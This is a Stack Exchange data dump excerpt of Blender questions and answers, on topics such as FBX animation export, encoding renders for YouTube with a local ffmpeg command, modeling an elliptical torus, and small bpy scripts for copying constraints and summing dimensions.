  <row Id="24720" PostTypeId="2" ParentId="24702" CreationDate="2015-02-13T22:00:46.950" Score="3" Body="&lt;p&gt;You have three ways to control how animations are exported in FBX:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;NLA Strips&lt;/code&gt; and &lt;code&gt;All Actions&lt;/code&gt; disabled: only 'active' actions in scenes will be exported (i.e., actions assigned to objects/armatures/etc.).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;All Actions&lt;/code&gt; enabled: all existing actions are exported for all compatible objects (because there is no way by default in Blender to restrain a set of actions to a specific object).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;NLA Strips&lt;/code&gt; enabled: each strip of the NLA of each object is exported as a single action. This is the best way to get precise control over which action is exported for a given object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for orientation and armature issues, this is a well known issue of current code (at least with UE4, for some reason Unity seems to work much better), which is being investigated - it is still completely unclear whether issue is in UE4 reading code, or Blender writing code, or both…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-13T22:00:46.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24721" PostTypeId="1" CreationDate="2015-02-13T22:41:18.190" Score="6" ViewCount="1424" Body="&lt;p&gt;I have a very simple node setup as shown below in cycles.&#xA;Rendering is not a problem but I would like to preview the material in Material View. &#xA;Does anyone know if this is possible, or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPpcF.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2015-02-14T17:09:18.530" Title="Procedural textures not showing in Material view" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24723" PostTypeId="2" ParentId="24721" CreationDate="2015-02-13T23:11:52.200" Score="4" Body="&lt;p&gt;Unfortunately, as far as I know, this is not possible at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do find myself quite often wishing this was possible, but I am afraid it is not.  the closest thing is, as &lt;a href=&quot;https://blender.stackexchange.com/questions/24721/procedural-textures-not-showing-in-material-view#comment36783_24721&quot;&gt;Bithur said in the comments&lt;/a&gt;, you can use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to activate rendered viewport mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that the devs are working on adding this support, I have no idea when it is projected to come out though.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-02-14T17:09:18.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24724" PostTypeId="1" CreationDate="2015-02-14T01:23:45.217" Score="11" ViewCount="21751" Body="&lt;p&gt;So I'm trying to upload videos to Youtube, but it says it doesn't recognize the file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a simple edit with the video sequence editor. I imported a picture and gave it a longer duration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just saving the file as it is, and then uploading it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="11576" LastEditorUserId="14" LastEditDate="2015-02-14T03:01:55.010" LastActivityDate="2016-11-08T16:20:25.700" Title="How can I upload Blender videos to Youtube?" Tags="&lt;export&gt;&lt;video&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24727" PostTypeId="2" ParentId="24724" CreationDate="2015-02-14T02:49:15.300" Score="20" Body="&lt;p&gt;Blender files are not video files. You need to render and export your video sequence in order to get a playable video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is my workflow for Youtube publishing. Based on the &lt;a href=&quot;https://support.google.com/youtube/answer/1722171?hl=en#&quot;&gt;&quot;Advanced encoding settings&quot; article&lt;/a&gt; and Blender's limitations. Of course, there are plenty of other ways to do it, but this is how I do it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Rocketman/Encoding_ui_proposal&quot;&gt;Be advised that there are issues with Blender's output interface since 2.71.&lt;/a&gt; This is planed to be fixed around 2.74.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Video settings&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Properties_Window&quot;&gt;properties window&lt;/a&gt; and open the render context with the triangle button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the Dimensions panel, select an appropriate resolution and frame rate. The resolutions that Youtube uses are the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2160p: 3840x2160&lt;br /&gt;&#xA;1440p: 2560x1440&lt;br /&gt;&#xA;1080p: 1920x1080&lt;br /&gt;&#xA;720p: 1280x720&lt;br /&gt;&#xA;480p: 854x480&lt;br /&gt;&#xA;360p: 640x360&lt;br /&gt;&#xA;240p: 426x240&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these use the 16:9 aspect ratio. So if you're using a different aspect ratio, such as 4:3, youtube will covert it to 16:9 by adding black empty space on the left and right sides. Use one of the above resolutions for predictable results on Youtube. Note that this is not the same thing as the aspect ratio shown in Blender!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that you have set the end frame for however long you want your video to be. This can be calculated by &lt;code&gt;frame rate x length of video in seconds&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the Output panel. Select H.264 for the file format. When you select that, a new panel named Encoding should appear.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the Encoding panel. Select the Quicktime format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the H.264 codec.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the max bit rate to 0 to make Blender ignore it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the bit rate to one of the following depending on your video resolution (These are only suggestions given by Youtube themselves. You can find higher quality suggestions &lt;a href=&quot;https://support.google.com/youtube/answer/1722171?hl=en#&quot;&gt;on this page&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2160p: 35000-45000 (kb/s)&lt;br /&gt;&#xA;1440p: 10000 (kb/s)&lt;br /&gt;&#xA;1080p: 8000 (kb/s)&lt;br /&gt;&#xA;720p: 5000 (kb/s)&lt;br /&gt;&#xA;480p: 2500 (kb/s)&lt;br /&gt;&#xA;360p: 1250 (kb/s)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Audio settings&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want audio in your video:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select AAC as your audio codec under the Encoding panel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use whatever bitrate your source audio was recorded in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Render and export&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In order to finally render and export your video:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First, make sure you save your blend file somewhere. I've had issues of it not wanting to export if hadn't saved the blend first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the Output panel, set where you want to export your video.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the Render menu and select render animation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will get a &lt;code&gt;.mov&lt;/code&gt; file in the folder where you exported your video. You can upload this to Youtube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be finicky, you can convert that Quicktime file to MP4 using &lt;a href=&quot;http://ffmpeg.org&quot;&gt;ffmpeg&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ffmpeg -i INPUT.mov -vcodec copy -acodec copy OUTPUT.mp4&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2015-02-14T21:27:43.783" LastActivityDate="2015-02-14T21:27:43.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24728" PostTypeId="1" CreationDate="2015-02-14T06:10:46.043" Score="7" ViewCount="2281" Body="&lt;p&gt;I've tried making a torus and stretching it and making an oval curve and beveling a circle on it, but with both methods the torus ends up getting thicker on the sides that are stretched out. Is there any way to keep the minor radius constant along the whole shape?&lt;/p&gt;&#xA;" OwnerUserId="11579" LastActivityDate="2017-11-02T19:36:19.810" Title="How do I create an oblong torus with a constant thickness?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24729" PostTypeId="2" ParentId="24728" CreationDate="2015-02-14T07:45:44.757" Score="8" Body="&lt;p&gt;If you stretch a torus, both the major and the minor radii will be stretched, so the effect you see is perfectly normal. There may be some way to remedy that, but I haven't found it. I have come up with some workarounds though.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 1&lt;/h1&gt;  &#xA;&#xA;&lt;p&gt;Add a mesh circle.&lt;br&gt;&#xA;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode&lt;sup&gt;1&lt;/sup&gt;.&lt;br&gt;&#xA;Scale it along one axis, &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;kbd&gt;Tab&lt;/kbd&gt; back to Object mode.&lt;br&gt;&#xA;Convert the circle, which should now be an ellipse, to a curve &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;kbd&gt;C&lt;/kbd&gt;.&lt;br&gt;&#xA;Put a bevel on it. If you want a circular tube, you needn't use a bevel object. Just set the bevel depth and resolution to whatever rocks your boat and set Fill to Full.&lt;br&gt;&#xA;When you're happy with it, convert it back to a mesh &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;kbd&gt;M&lt;/kbd&gt;.&lt;br&gt;&#xA;Unfortunately I haven't been able to find out how to include the menus when I take screenshots, so this doesn't show the conversion between mesh and curve and back.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lknU7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I don't use a curve directly, is that neither Bezier nor Nurbs curves represent elliptical object very well. They approximate circles acceptably, but with ellipses they fail miserably unless you give them a ridiculous amount of vertices.    &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 2&lt;/h1&gt;  &#xA;&#xA;&lt;p&gt;If you have the Extra Objects addon installed and activated, you can use XYZ Math surface to create a torus object of practically any shape.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable this addon, go to User Preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &gt; Add-ons &gt; Add Mesh &gt; Add Mesh: Extra Objects.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fiKhr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &gt; Mesh &gt; Math Function &gt; XYZ Math Surface&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an elliptical torus with a major axis of 3, a minor axis of 1 and a circular tube with a radius of 0.25  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;X equation:&lt;br&gt;&#xA;(3+.25*cos(u))*cos(v)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Y equation:&lt;br&gt;&#xA;(1+.25*cos(u))*sin(v)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Z equation:&lt;br&gt;&#xA;.25*sin(u)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;U min and V min: 0&lt;br&gt;&#xA;U max and V max: 2*pi&lt;br&gt;&#xA;U wrap, V wrap and Close V enabled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bnjkt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normals will be pointing inwards, so you'll need to flip them. &lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to recalculate them to point outwards.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qMPe5.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 3&lt;/h1&gt;  &#xA;&#xA;&lt;p&gt;Here's a third method that I discovered today, when reading &lt;a href=&quot;https://blender.stackexchange.com/questions/26407/skin-modifier-giving-wierd-geometry&quot;&gt;this question&lt;/a&gt;. It uses the Skin modifier, which is something I've never used before. This seems to be the simplest method, and very straightforward, and that's the reason I'm making this late addition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a mesh circle.&lt;br&gt;&#xA;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode&lt;sup&gt;1&lt;/sup&gt;.&lt;br&gt;&#xA;Scale it along one axis, &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;kbd&gt;Tab&lt;/kbd&gt; back to Object mode.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j7QdV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Skin modifier.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sFmDT.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Subdivision Surface modifier. As pointed out by PGmath in a comment to this answer, the Catmull-Clark algorithm doesn't produce a perfect circle, and depending on your need for accuracy in the shape of the skin, you may want to consider using one of the first two methods instead.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pn0mU.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The radius of the skin can be scaled. Make sure the Skin modifier is still in the modifier stack, i.e. do &lt;strong&gt;not&lt;/strong&gt; apply it.&lt;br&gt;&#xA;&lt;kbd&gt;Tab&lt;/kbd&gt; into Edit mode.&lt;br&gt;&#xA;Make sure everything is selected (&lt;kbd&gt;A&lt;/kbd&gt; once or twice).&lt;br&gt;&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and then drag the mouse or use the arrow keys on your keyboard until you're happy with the thickness. &lt;kbd&gt;Enter&lt;/kbd&gt; or left mouse button to confirm.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xrcGt.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;Scaling in Edit mode is essentially the same as scaling in Object mode and then applying the scale.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditorDisplayName="user7952" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-02-28T23:05:08.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24730" PostTypeId="1" AcceptedAnswerId="24731" CreationDate="2015-02-14T08:00:05.517" Score="3" ViewCount="1164" Body="&lt;p&gt;How do you copy things like rigidbody &lt;strong&gt;constraints&lt;/strong&gt; and force fields to other objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a cell fracture and I would like to give each cell the same constraints and force fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-14T09:18:33.943" Title="How do you copy things like rigidbody constraints and force fields to other objects?" Tags="&lt;cycles-render-engine&gt;&lt;constraints&gt;&lt;rigid-body-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24731" PostTypeId="2" ParentId="24730" CreationDate="2015-02-14T08:37:56.733" Score="2" Body="&lt;p&gt;to add force field to all selected objects :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in bpy.context.selected_objects :&#xA;    bpy.context.scene.objects.active = ob&#xA;    bpy.ops.object.forcefield_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to run the script copy it and paste in the text editor and cick &lt;strong&gt;Run Script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to copy constraints from one object to others :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xf0g5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;to copy &lt;strong&gt;rigid body constraints&lt;/strong&gt; select the objects while the active object is the one with constraints and run this script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;Type = bpy.context.active_object.rigid_body_constraint.type&#xA;obj1 = bpy.context.active_object.rigid_body_constraint.object1&#xA;obj2 = bpy.context.active_object.rigid_body_constraint.object2&#xA;use_br = bpy.context.active_object.rigid_body_constraint.use_breaking&#xA;over_itr = bpy.context.active_object.rigid_body_constraint.use_override_solver_iterations&#xA;for ob in bpy.context.selected_objects :&#xA;    bpy.context.scene.objects.active = ob&#xA;    bpy.ops.rigidbody.constraint_add(type = Type)&#xA;    bpy.context.active_object.rigid_body_constraint.object1 = obj1 &#xA;    bpy.context.active_object.rigid_body_constraint.object2 = obj2 &#xA;    bpy.context.active_object.rigid_body_constraint.use_breaking = use_br &#xA;    bpy.context.active_object.rigid_body_constraint.use_override_solver_iterations = over_itr&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-14T09:18:33.943" LastActivityDate="2015-02-14T09:18:33.943" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24732" PostTypeId="1" AcceptedAnswerId="24734" CreationDate="2015-02-14T10:27:30.603" Score="3" ViewCount="3976" Body="&lt;p&gt;I've been trying to scale the UV map for a 3D arc (i.e. a slice of a hollow sphere) to fit the entire bounds of the UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwrapping the mesh results in a circle, which I'm looking to scale up to the bounds of the map as in the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ab7bb.png&quot; alt=&quot;Initial Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around with proportional editing - i.e. moved 4 diagonal vertices (top left, top right, etc) to the 4 corners using the sharp falloff, and then moved the 4 edge vertices (top, left, etc) to the 4 edges using the smooth falloff. But the best I could come up with was the following, which results in a really horribly warped map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGdHC.png&quot; alt=&quot;Final Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a better way to go about doing this (or a better way to use proportional editing correctly), I'd love to hear about it.&lt;/p&gt;&#xA;" OwnerUserId="11580" LastEditorUserId="2217" LastEditDate="2015-02-14T13:58:55.867" LastActivityDate="2015-02-14T13:58:55.867" Title="Scaling UV map to fit bounds" Tags="&lt;uv&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24733" PostTypeId="1" CreationDate="2015-02-14T10:38:35.397" Score="1" ViewCount="306" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JCkCh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZ6J5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/REP2G.png&quot; alt=&quot;enter image description here&quot;&gt;I tried following Andrew Price's tutorial on realistic grass, by adding the default hair particle system to the plane and setting the render to a group of grass, but the grass appears grainy today. Although yesterday I got a realistic one. I don't know what went wrong?&lt;/p&gt;&#xA;" OwnerUserId="11581" LastEditorUserId="11581" LastEditDate="2015-02-15T08:54:21.713" LastActivityDate="2015-02-15T12:24:07.377" Title="Rendering hair particles appears grainy" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-26T05:40:20.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="24734" PostTypeId="2" ParentId="24732" CreationDate="2015-02-14T11:17:06.563" Score="4" Body="&lt;p&gt;Select one side (left/right) from 1 diagonal to the other, only borders, and scale it on X axis to 0 (&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;0&lt;/kbd&gt;) then move it away&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MIOcz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continue with other sides (up/down-&gt; Y axis)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/07wlQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CHHCx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once all four sides scaled and moved away, select the other vertices, scale them down, then select the borders again&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EHUkI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scale and move them to fit your UV bounds &#xA;&lt;img src=&quot;https://i.stack.imgur.com/djX4l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select everything but the border vertices and from the UV menu, click minimize stretch (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lMvaI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;use mouse wheel to blend the effect to your liking, when it's ok, hit &lt;kbd&gt;enter&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RrFXq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-14T11:28:34.430" LastActivityDate="2015-02-14T11:28:34.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24735" PostTypeId="1" AcceptedAnswerId="24737" CreationDate="2015-02-14T11:42:37.827" Score="2" ViewCount="221" Body="&lt;p&gt;I need to add all the x axis dimension of the selected objects in my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in bpy.context.selected_objects:&#xA;    dim = i.dimensions[0]&#xA;    dimX = sum(dim[:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sum command don't work, dim isn't a list. &#xA;How can i do that please ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="3089" LastEditDate="2015-02-14T11:44:20.747" LastActivityDate="2015-02-14T12:09:01.640" Title="How add dimensions[0] of selected objects?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24736" PostTypeId="1" AcceptedAnswerId="24738" CreationDate="2015-02-14T11:43:34.850" Score="3" ViewCount="1493" Body="&lt;p&gt;Here's what the render looks like:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gQVlN.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my scene:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RGiTY.png&quot; alt=&quot;scene in viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done in blender internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it only rendering that bit in a circle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/0aoaav4hv436tsf/smoke%2Bfire.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="11431" LastEditDate="2015-03-10T21:04:48.393" LastActivityDate="2015-03-10T21:04:48.393" Title="Blender not rendering full image?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24737" PostTypeId="2" ParentId="24735" CreationDate="2015-02-14T11:51:02.603" Score="2" Body="&lt;p&gt;You overwrite &lt;code&gt;dim&lt;/code&gt; and &lt;code&gt;dimX&lt;/code&gt; in every iteration of your loop, you do not add something to a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a list of all dimensions you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dim = []&#xA;for i in bpy.context.selected_objects :&#xA;    dim.append(i.dimensions[0])&#xA;dimX = sum(dim[:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dim&lt;/code&gt; will then contain all dimensions and &lt;code&gt;dimX&lt;/code&gt; will contain the sum. &lt;code&gt;dim&lt;/code&gt; is initialized as an empty list and the loop appends the dimensions to it. Note the indentation of the last line: &lt;code&gt;dimX&lt;/code&gt; needs to be on the same height as &lt;code&gt;for&lt;/code&gt;, otherwise python will think that it belongs to the for loop and execute it in every iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want the sum of the x dimensions you can add them up into a variable that you initialized with 0 first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dimX = 0&#xA;for i in bpy.context.selected_objects :&#xA;    dimX += i.dimensions[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2015-02-14T12:09:01.640" LastActivityDate="2015-02-14T12:09:01.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24738" PostTypeId="2" ParentId="24736" CreationDate="2015-02-14T12:16:33.887" Score="6" Body="&lt;p&gt;Your mist settings are bad. To see it, select the camera and check &quot;mist&quot;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n1HG1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change this in world settings&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9I9oK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-14T12:16:33.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24739" PostTypeId="1" AcceptedAnswerId="24740" CreationDate="2015-02-14T12:34:57.360" Score="4" ViewCount="1177" Body="&lt;p&gt;When I try to quick edit in texture paint I get an error saying that it couldn't find an image editor even though there is one (see photo)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1HYr.png&quot; alt=&quot;path to external image editor in blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="2217" LastEditDate="2015-02-14T13:43:34.117" LastActivityDate="2015-10-24T23:17:11.533" Title="External image editor not found?" Tags="&lt;external-applications&gt;&lt;path&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
